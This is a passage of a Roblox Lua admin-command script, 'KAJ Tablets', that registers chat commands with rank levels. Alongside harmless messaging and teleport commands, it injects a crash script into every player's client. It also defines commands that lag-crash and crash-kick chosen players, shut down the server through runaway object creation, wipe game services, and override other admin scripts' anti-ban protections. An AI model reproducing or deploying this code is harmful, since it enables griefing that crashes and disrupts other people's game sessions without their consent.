  5912.                                                 tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
  5913.                                                 tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  5914.                                         end)
  5915.                                 end
  5916.                         end
  5917.                 end)
  5918.         end
  5919. end)
  5920.  
  5921. Delay(0, function()
  5922.         while wait() do
  5923.                 for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  5924.                         ypcall(function()
  5925.                                 if Injected[v.Name] == nil and LS ~= nil then
  5926.                                         Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  5927.                                         Injected[v.Name] = true
  5928.                                 end
  5929.                         end)
  5930.                 end
  5931.         end
  5932. end)
  5933.  
  5934. Plrs.PlayerAdded:connect(function(Plr)
  5935.         wait(.1)
  5936.         ypcall(function()
  5937.                 if Removed == false then
  5938.                         local JoinPlrName = Plr.Name
  5939.                         coroutine.resume(coroutine.create(function()
  5940.                                 PlaceSpecificRank(Plr)
  5941.                         end))
  5942.                         coroutine.resume(coroutine.create(function()
  5943.                                 if Injected[JoinPlrName] ~= nil then
  5944.                                         Injected[JoinPlrName] = nil
  5945.                                 end
  5946.                         end))
  5947.                         coroutine.resume(coroutine.create(function()
  5948.                                 Dismiss(Plr)
  5949.                                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  5950.                         end))
  5951.                 end
  5952.         end)
  5953. end)
  5954.  
  5955. Plrs.PlayerRemoving:connect(function(Plr)
  5956.         wait(.1)
  5957.         ypcall(function()
  5958.                 if Removed == false then
  5959.                         local LeftPlrName = Plr.Name
  5960.                         coroutine.resume(coroutine.create(function()
  5961.                                 if Injected[LeftPlrName] ~= nil then
  5962.                                         Injected[LeftPlrName] = nil
  5963.                                 end
  5964.                         end))
  5965.                 end
  5966.         end)
  5967. end)
  5968.  
  5969. coroutine.resume(coroutine.create(function()
  5970.         Delay(0, function()
  5971.                 while FoundLocalScript == false do wait()
  5972.                         ypcall(function()
  5973.                                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  5974.                                         if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  5975.                                                 for _,c in pairs(v:children()) do
  5976.                                                         if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  5977.                                                                 local NewVal = c:Clone()
  5978.                                                                 NewVal.Name = "LoadingVal"
  5979.                                                                 for _,s in pairs(v:GetChildren()) do
  5980.                                                                         if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  5981.                                                                                 print("Found Owner")
  5982.                                                                                 OwnSource = s.Name
  5983.                                                                                 print(OwnSource)
  5984.                                                                                 break
  5985.                                                                         end
  5986.                                                                 end
  5987.                                                                 wait()
  5988.                                                                 LS = v:Clone()
  5989.                                                                 NewVal.Parent = LS
  5990.                                                                 LSSource = "LoadingVal"
  5991.                                                                 FoundLocalScript = true
  5992.                                                                 break
  5993.                                                         end
  5994.                                                 end
  5995.                                         end
  5996.                                 end
  5997.                         end)
  5998.                 end
  5999.         end)
  6000. end))
  6001.  
  6002. --Commands
  6003.  
  6004. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  6005.         Dismiss(Speaker.Name)
  6006.         Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  6007.         Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  6008.         Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
  6009.         Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
  6010.         Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
  6011.         Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
  6012.         Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
  6013.         Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
  6014.        
  6015. end)
  6016.  
  6017. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  6018.         Dismiss(Speaker.Name)
  6019. end)
  6020.  
  6021. Command("Kill", 2, "Kills A Player",
  6022.         function(Msg, Speaker)
  6023.         local PlrTab = getPlayer(Speaker, Msg)
  6024.         if #PlrTab > 0 then
  6025.                 for _,v in pairs(PlrTab) do
  6026.                         ypcall(function()
  6027.                                 v.Character:BreakJoints()
  6028.                                 Ping("Killed "..v.Name, Speaker, 5)
  6029.                         end)
  6030.                 end
  6031.         end
  6032. end)
  6033.  
  6034. Command("expl", 2, "Explodes A Player",
  6035.         function(Msg, Speaker)
  6036.         local PlrTab = getPlayer(Speaker, Msg)
  6037.         if #PlrTab > 0 then
  6038.                 for _,v in pairs(PlrTab) do
  6039.                         ypcall(function()
  6040.                 if v.Character and v.Character:findFirstChild("Head") then
  6041.                         local e = Instance.new("Explosion")
  6042.                         e.Position = v.Character.Head.Position
  6043.                         e.Parent = v.Character
  6044.                                 Ping("Exploded "..v.Name, Speaker, 5)
  6045.                                 end
  6046.                         end)
  6047.                 end
  6048.         end
  6049. end)
  6050.  
  6051.  
  6052. Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
  6053.         Dismiss()
  6054. end)
  6055.  
  6056. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  6057.         local PlrTab = getPlayer(Speaker, Msg)
  6058.         if #PlrTab > 0 then
  6059.                 for _,v in pairs(PlrTab) do
  6060.                         ypcall(function()
  6061.                                 if v.Name ~= Owner then
  6062.                                         Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  6063.                                         Ping("Muted "..v.Name, Speaker, 5)
  6064.                                 end
  6065.                         end)
  6066.                 end
  6067.         end
  6068. end)
  6069.  
  6070.  
  6071.  
  6072. Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
  6073.         local PlrTab = getPlayer(Speaker, Msg)
  6074.         if #PlrTab > 0 then
  6075.                 for _,v in pairs(PlrTab) do
  6076.                         ypcall(function()
  6077.                                         Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
  6078.                                        
  6079.                         end)
  6080.                 end
  6081.         end
  6082. end)
  6083.  
  6084. Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
  6085.         local PlrTab = getPlayer(Speaker, Msg)
  6086.         if #PlrTab > 0 then
  6087.                 for _,v in pairs(PlrTab) do
  6088.                         ypcall(function()
  6089.                                         Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
  6090.                                        
  6091.                         end)
  6092.                 end
  6093.         end
  6094. end)
  6095. Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
  6096.         Dismiss()
  6097.         for i = 1, 2 do
  6098.         Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
  6099. end end)
  6100. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  6101.         local PlrTab = getPlayer(Speaker, Msg)
  6102.         if #PlrTab > 0 then
  6103.                 for _,v in pairs(PlrTab) do
  6104.                         ypcall(function()
  6105.                                 Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  6106.                                 Ping("Rejoined "..v.Name, Speaker, 5)
  6107.                         end)
  6108.                 end
  6109.         end
  6110. end)
  6111.  
  6112. Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
  6113.         local PlrTab = getPlayer(Speaker, Msg)
  6114.         if #PlrTab > 0 then
  6115.                 for _,v in pairs(PlrTab) do
  6116.                         ypcall(function()
  6117.                                 Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  6118.                                 Ping("Jailed "..v.Name, Speaker, 5)
  6119.                         end)
  6120.                 end
  6121.         end
  6122. end)
  6123.  
  6124. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  6125.         local PlrTab = getPlayer(Speaker, Msg)
  6126.         if #PlrTab > 0 then
  6127.                 for _,v in pairs(PlrTab) do
  6128.                         ypcall(function()
  6129.                                 Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  6130.                                 Ping("Lag Crashing "..v.Name, Speaker, 5)
  6131.                         end)
  6132.                 end
  6133.         end
  6134. end)
  6135.  
  6136. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  6137.         local PlrTab = getPlayer(Speaker, Msg)
  6138.         if #PlrTab > 0 then
  6139.                 for _,v in pairs(PlrTab) do
  6140.                         ypcall(function()
  6141.                                 Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  6142.                                 Ping("UnMuted "..v.Name, Speaker, 5)
  6143.                         end)
  6144.                 end
  6145.         end
  6146. end)
  6147.  
  6148. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  6149.         local Worked = false
  6150.         for _,v in pairs(Work:GetChildren()) do
  6151.                 if string.find(v.Name:lower(), Msg:lower()) then
  6152.                         if v:IsA("Script") or v:IsA("LocalScript") then
  6153.                                 v.Disabled = true
  6154.                                 v:Destroy()
  6155.                                 Worked = true
  6156.                                 Ping("Disabled Script: "..v.Name, Speaker, 5)
  6157.                         end
  6158.                 end
  6159.         end
  6160.         if Worked == false then
  6161.                 Ping("Script Not Found", Speaker, 5)
  6162.         end
  6163. end)
  6164.  
  6165. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  6166.         Dismiss(Speaker)
  6167.         local AllScripts = {}
  6168.         for _,v in pairs(Work:GetChildren()) do
  6169.                 if v:IsA("Script") then
  6170.                         table.insert(AllScripts, v.Name)
  6171.                 end
  6172.         end
  6173.         if #AllScripts > 0 then
  6174.                 for _,v in pairs(AllScripts) do
  6175.                         Ping(v, Speaker)
  6176.                 end
  6177.         else
  6178.                 Ping("No Scripts Found", Speaker, 5)
  6179.         end
  6180. end)
  6181.  
  6182. Command("afk",0,'Makes you go AFK',
  6183.          function(Msg,Speaker)
  6184.                 Dismiss(Speaker)
  6185.                 for i = 1,8 do
  6186.                         Ping('AFK',Speaker)
  6187.                                                         wait(.01)
  6188.                         end
  6189.         end)
  6190. Command("back",0,'Creates Tablets telling everyone that you are back',
  6191.          function(Msg,Speaker)
  6192.                 Dismiss(Speaker)
  6193.                 for i = 1,8 do
  6194.                         Ping('Welcome Back!',Speaker,6)
  6195.                                         wait(.1)
  6196.                         end
  6197.         end)
  6198.  
  6199.  
  6200.  
  6201.  
  6202. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  6203.         Dismiss(Speaker)
  6204.         local LocalScripts = {}
  6205.         for _,v in pairs(All()) do
  6206.                 ypcall(function()
  6207.                         for _,x in pairs(v.Character:GetChildren()) do
  6208.                                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  6209.                                         table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  6210.                                 end
  6211.                         end
  6212.                 end)
  6213.                 ypcall(function()
  6214.                         for _,x in pairs(v.Backpack:GetChildren()) do
  6215.                                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  6216.                                         table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  6217.                                 end
  6218.                         end
  6219.                 end)
  6220.                 ypcall(function()
  6221.                         for _,x in pairs(v.PlayerGui:GetChildren()) do
  6222.                                 if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  6223.                                         table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  6224.                                 end
  6225.                         end
  6226.                 end)
  6227.         end
  6228.         if #LocalScripts > 0 then
  6229.                 for _,v in pairs(LocalScripts) do
  6230.                         Ping(v, Speaker)
  6231.                 end
  6232.         else
  6233.                 Ping("No Local Scripts Found", Speaker, 5)
  6234.         end
  6235. end)
  6236.  
  6237. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  6238.         local Split = GetSplit(Msg)
  6239.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  6240.         local ScriptName = Msg:sub(Split + 1)
  6241.         local FoundLocal = false
  6242.         for _,name in pairs(PlrTab) do
  6243.                 ypcall(function()
  6244.                         for _,v in pairs(name.Character:GetChildren()) do
  6245.                                 if string.find(v.Name:lower(), ScriptName) then
  6246.                                         if v:IsA("Script") or v:IsA("LocalScript") then
  6247.                                                 v.Disabled = true
  6248.                                                 v:Destroy()
  6249.                                                 FoundLocal = true
  6250.                                                 Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  6251.                                         end
  6252.                                 end
  6253.                         end
  6254.                 end)
  6255.                 ypcall(function()
  6256.                         for _,v in pairs(name.Backpack:GetChildren()) do
  6257.                                 if string.find(v.Name:lower(), ScriptName) then
  6258.                                         if v:IsA("Script") or v:IsA("LocalScript") then
  6259.                                                 v.Disabled = true
  6260.                                                 v:Destroy()
  6261.                                                 FoundLocal = true
  6262.                                                 Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  6263.                                         end
  6264.                                 end
  6265.                         end
  6266.                 end)
  6267.                 ypcall(function()
  6268.                         for _,v in pairs(name.PlayerGui:GetChildren()) do
  6269.                                 if string.find(v.Name:lower(), ScriptName) then
  6270.                                         if v:IsA("Script") or v:IsA("LocalScript") then
  6271.                                                 v.Disabled = true
  6272.                                                 v:Destroy()
  6273.                                                 FoundLocal = true
  6274.                                                 Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  6275.                                         end
  6276.                                 end
  6277.                         end
  6278.                 end)
  6279.                 if FoundLocal == false then
  6280.                         Ping("Local Script Not Found", Speaker, 5)
  6281.                 end
  6282.         end
  6283. end)
  6284.  
  6285. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  6286.         for _,v in pairs(game:GetChildren()) do
  6287.                 ypcall(function()
  6288.                         if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  6289.                                 for _,a in pairs(v:GetChildren()) do
  6290.                                         ypcall(function()
  6291.                                                 a:Destroy()
  6292.                                         end)
  6293.                                 end
  6294.                         elseif v.Name == "Players" then
  6295.                                 for _,plr in pairs(v:GetPlayers()) do
  6296.                                         Clear(plr)
  6297.                                 end
  6298.                         end
  6299.                 end)
  6300.         end
  6301.         Clean()
  6302.         Fixl()
  6303.         Ping("Fully Cleaned", Speaker, 5)
  6304. end)
  6305.  
  6306. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  6307.         LClean()
  6308.         Fixl()
  6309.         Ping("Lightly Cleaned", Speaker, 5)
  6310. end)
  6311.  
  6312. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  6313.         local PlrTab = getPlayer(Speaker, Msg)
  6314.         if #PlrTab > 0 then
  6315.                 for _,v in pairs(PlrTab) do
  6316.                         ypcall(function()
  6317.                                 v:LoadCharacter()
  6318.                                 Ping("Reset "..v.Name, Speaker, 5)
  6319.                         end)
  6320.                 end
  6321.         end
  6322. end)
  6323.  
  6324. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  6325.         repeat wait() until Speaker.Character:findFirstChild("Torso")
  6326.         if Work:findFirstChild("Base") then
  6327.                 Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  6328.         else
  6329.                 Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  6330.         end
  6331.         Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  6332. end)
  6333.  
  6334. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  6335.         local PlrTab = getPlayer(Speaker, Msg)
  6336.         if #PlrTab > 0 then
  6337.                 for _,v in pairs(PlrTab) do
  6338.                         ypcall(function()
  6339.                                 v.Character.Torso.Anchored = true
  6340.                                 Ping("Froze "..v.Name, Speaker, 5)
  6341.                         end)
  6342.                 end
  6343.         end
  6344. end)
  6345.  
  6346. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  6347.         wait(3)
  6348.         Ping("Something went wrong",Speaker,5)
  6349.         end)
  6350.  
  6351. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  6352.         local PlrTab = getPlayer(Speaker, Msg)
  6353.         if #PlrTab > 0 then
  6354.                 for _,v in pairs(PlrTab) do
  6355.                         ypcall(function()
  6356.                                 Instance.new("ForceField", v.Character)
  6357.                         end)
  6358.                 end
  6359.         end
  6360. end)
  6361.  
  6362. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  6363.         local PlrTab = getPlayer(Speaker, Msg)
  6364.         if #PlrTab > 0 then
  6365.                 for _,v in pairs(PlrTab) do
  6366.                         ypcall(function()
  6367.                                 RemObj(v.Character, "ForceField")
  6368.                         end)
  6369.                 end
  6370.         end
  6371. end)
  6372.  
  6373. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  6374.         local Split = GetSplit(Msg)
  6375.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  6376.         local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  6377.         if #PlrTab > 0 and #PlrTab2 > 0 then
  6378.                 for i,v in pairs(PlrTab) do
  6379.                         ypcall(function()
  6380.                                 for _,v2 in pairs(PlrTab2) do
  6381.                                         ypcall(function()
  6382.                                                 v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  6383.                                                 Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  6384.                                         end)
  6385.                                 end
  6386.                         end)
  6387.                 end
  6388.         end
  6389. end)
  6390.  
  6391. Command("Msg",2, "Creates a Message",
  6392.         function(Msg,Speaker)
  6393.                 Message(Msg)
  6394. end)
  6395.  
  6396. Command("H",2, "Creates a Hint",
  6397.         function(Msg,Speaker)
  6398.                 Hint(Msg)
  6399. end)
  6400.  
  6401. Command("Sm",2, "Creates a System message",
  6402.         function(Msg,Speaker)
  6403.                 SystemMsg(Msg)
  6404. end)
  6405.  
  6406. function Message(str,p)
  6407.         if p==nil then
  6408.                 for _,Player in pairs(game.Players:GetPlayers()) do
  6409.                         coroutine.wrap(function()
  6410.                                 local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  6411.                                 local Text = Instance.new("TextLabel", Msg)
  6412.                                 Text.Position = UDim2.new(0, 0, 0.7, 0)
  6413.                                 Text.Font=2
  6414.                                 Text.FontSize=9
  6415.                                 Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  6416.                                 Text.BackgroundTransparency = 0.4
  6417.                                 Text.TextColor3 = Color3.new(1, 1, 1)
  6418.                                 Text.TextTransparency = 1
  6419.                                 Text.TextWrap = true
  6420.                                 Text.Text = tostring(str)
  6421.                                 Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  6422.                                 Text.TextTransparency = 0
  6423.                                 Num = #str * 0.06
  6424.                                 wait(3)
  6425.                                 Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  6426.                                 wait(Num)
  6427.                                 Msg:Remove()
  6428.                         end)()
  6429.                 end
  6430.         else
  6431.                 Player=p;
  6432.                 coroutine.wrap(function()
  6433.                         local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  6434.                         local Text = Instance.new("TextLabel", Msg)
  6435.                         Text.Position = UDim2.new(0, 0, 0.7, 0)
  6436.                         Text.Font=2
  6437.                         Text.FontSize=9
  6438.                         Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  6439.                         Text.BackgroundTransparency = 0.1
  6440.                         Text.TextColor3 = Color3.new(1, 1, 1)
  6441.                         Text.TextTransparency = 1
  6442.                         Text.TextWrap = true
  6443.                         Text.Text = tostring(str)
  6444.                         Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  6445.                         Text.TextTransparency = 0
  6446.                         Num = #str * 0.06
  6447.                         wait(3)
  6448.                         Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  6449.                         wait(Num)
  6450.                         Msg:Remove()
  6451.                 end)()
  6452.         end
  6453. end
  6454. function SystemMsg(str)
  6455.         for _,Player in pairs(game.Players:GetPlayers()) do
  6456.                 coroutine.wrap(function()
  6457.                         local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  6458.                         local Text = Instance.new("TextLabel", Msg)
  6459.                         Text.Position = UDim2.new(0, 0, 0, 0)
  6460.                         Text.Font='Legacy'
  6461.                         Text.FontSize = "Size48"
  6462.                         Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  6463.                         Text.BackgroundTransparency = 0.4
  6464.                         Text.TextColor3 = Color3.new(1,1,1)
  6465.                         Text.TextTransparency = 0
  6466.                         Text.TextWrap = true
  6467.                         Text.Text = ' [ System ] \n ' .. tostring(str)
  6468.                         Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  6469.                         Text.TextTransparency = 0.1
  6470.                         Num = #str * 0.06
  6471.                         wait(6)
  6472.                         Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  6473.                         wait(Num)
  6474.                         Msg:Remove()
  6475.                 end)()
  6476.         end
  6477. end
  6478. function Hint(str,p)
  6479.         if p == nil then
  6480.                 for _,Player in pairs(game.Players:GetPlayers()) do
  6481.                         coroutine.wrap(function()
  6482.                                 local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  6483.                                 local Text = Instance.new("TextLabel", Msg)
  6484.                                 Text.Position = UDim2.new(0, 0, 0, 0)
  6485.                                 Text.Font=2
  6486.                                 Text.FontSize=9
  6487.                                 Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  6488.                                 Text.BackgroundTransparency = 0.4
  6489.                                 Text.TextColor3 = Color3.new(1, 1, 1)
  6490.                                 Text.TextTransparency = 1
  6491.                                 Text.TextWrap = true
  6492.                                 Text.Text = tostring(str)
  6493.                                 Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  6494.                                 Text.TextTransparency = 0
  6495.                                 Num = #str * 0.06
  6496.                                 wait(3)
  6497.                                 Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  6498.                                 wait(Num)
  6499.                                 Msg:Remove()
  6500.                         end)()
  6501.                 end
  6502.         else
  6503.                 Player=p
  6504.                 coroutine.wrap(function()
  6505.                         local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  6506.                         local Text = Instance.new("TextLabel", Msg)
  6507.                         Text.Position = UDim2.new(0, 0, 0, 0)
  6508.                         Text.Font=2
  6509.                         Text.FontSize=9
  6510.                         Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  6511.                         Text.BackgroundTransparency = 0.1
  6512.                         Text.TextColor3 = Color3.new(1, 1, 1)
  6513.                         Text.TextTransparency = 1
  6514.                         Text.TextWrap = true
  6515.                         Text.Text = tostring(str)
  6516.                         Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  6517.                         Text.TextTransparency = 0
  6518.                         Num = #str * 0.06
  6519.                         wait(3)
  6520.                         Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  6521.                         wait(Num)
  6522.                         Msg:Remove()
  6523.                 end)()
  6524.         end
  6525. end
  6526.  
  6527. Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
  6528.         MakeExplorer(Speaker)
  6529. end)
  6530.  
  6531.  
  6532. Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
  6533.         wait()
  6534.         Dismiss(Speaker)
  6535.         NumBanned = 0
  6536.         NumCmds = 0
  6537.         for i = 1, #Rankings do
  6538.                 if Rankings[i].Rank < 0 then
  6539.                         NumBanned = NumBanned + 1
  6540.                 end
  6541.         end
  6542.         for i,v in pairs(Commands) do
  6543.                 NumCmds = NumCmds + 1
  6544.         end
  6545.         Ping("KAJ Tablets!", Speaker)
  6546.         Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
  6547.         Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
  6548.         Ping("I started this on 6/9/2014", Speaker)
  6549.        
  6550.         Ping(#All2.." players online in the server",Speaker)
  6551.         Ping(NumCmds.." Commands",Speaker)
  6552.         Ping(NumBanned.." players banned", Speaker,5)
  6553.        
  6554. end)
  6555.  
  6556. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  6557.         Dismiss(Speaker)
  6558.         for i,v in pairs(All()) do
  6559.                 Ping(v.Name.."'s Rank: "..FindRank(v))
  6560.         end
  6561. end)
  6562.  
  6563. Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
  6564.         local Split = GetSplit(Msg)
  6565.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  6566.         local Speed = tonumber(Msg:sub(Split + 1))
  6567.         for _,v in pairs(PlrTab) do
  6568.                 ypcall(function()
  6569.                         v.Character.Humanoid.WalkSpeed = Speed
  6570.                         Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  6571.                 end)
  6572.         end
  6573. end)
  6574.  
  6575. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  6576.         local RemoveAB = Instance.new("StringValue")
  6577.         RemoveAB.Name = "CBA Attachment"
  6578.         RemoveAB.Value = [[CBA.override=true;]]
  6579.         RemoveAB.Parent = Work
  6580.         Ping("Removed All CBA Anti-Bans", Speaker, 5)
  6581. end)
  6582.  
  6583. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  6584.         Dismiss(Speaker)
  6585.         for i,v in pairs(Injected) do
  6586.                 Ping(i, Speaker)
  6587.         end
  6588. end)
  6589.  
  6590. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  6591.         local RemoveCBA = Instance.new("StringValue")
  6592.         RemoveCBA.Name = "CBA Attachment"
  6593.         RemoveCBA.Value = [[CBA.remove = false]]
  6594.         RemoveCBA.Parent = Work
  6595.         Ping("Removed All CBA Admins", Speaker, 5)
  6596. end)
  6597.  
  6598. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  6599.         local function BufferOverflow(object)
  6600.                 object.DescendantAdded:connect(BufferOverflow)
  6601.                 Instance.new("IntValue", object)
  6602.         end
  6603.         BufferOverflow(Game)
  6604. end)
  6605.  
  6606. Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  6607.         local PlrTab = getPlayer(Speaker, Msg)
  6608.         if #PlrTab > 0 then
  6609.                 for _,v in pairs(PlrTab) do
  6610.                         ypcall(function()
  6611.                                 Crash1(v)
  6612.                                
  6613.                         end)
  6614.                 end
  6615.         end
  6616. end)
  6617.  
  6618. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  6619.         local PlrTab = getPlayer(Speaker, Msg)
  6620.         if #PlrTab > 0 then
  6621.                 for _,v in pairs(PlrTab) do
  6622.                         ypcall(function()
  6623.                                 ChangeRank(v, -1)
  6624.                         end)
  6625.                 end
  6626.         end
  6627. end)
  6628.  
  6629. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  6630.         local PlrTab = getPlayer(Speaker, Msg)
  6631.         if #PlrTab > 0 then
  6632.                 for _,v in pairs(PlrTab) do
  6633.                         ypcall(function()
  6634.                                 ChangeRank(v, -2)
  6635.                         end)
  6636.                 end
  6637.         end
  6638. end)
  6639.  
  6640.  
  6641.  
  6642.  
  6643.  
  6644. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  6645.         local PlrTab = getPlayer(Speaker, Msg)
  6646.         if #PlrTab > 0 then
  6647.                 for _,v in pairs(PlrTab) do
  6648.                         ypcall(function()
  6649.                                 ChangeRank(v, -3)
  6650.                         end)
  6651.                 end
  6652.         end
  6653. end)
  6654.  
  6655. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  6656.         ypcall(function()
  6657.                 local PlrTab = getPlayer(Speaker, Msg)
  6658.                 if #PlrTab > 0 then
  6659.                         for _,v in pairs(PlrTab) do
  6660.                                 ypcall(function()
  6661.                                         Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  6662.                                 end)
  6663.                         end
  6664.                 end
  6665.                 local PlrName = ChangeRank(Msg, 0)
  6666.                 Ping("Un-Banned "..PlrName, Speaker, 5)
  6667.         end)
  6668. end)
  6669.  
  6670. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  6671.         Dismiss(Speaker)
  6672.         Ping("Commands", Speaker, nil, function()
  6673.                 Dismiss(Speaker.Name)
  6674.                 Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  6675.                 Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  6676.                 Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  6677.                 Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
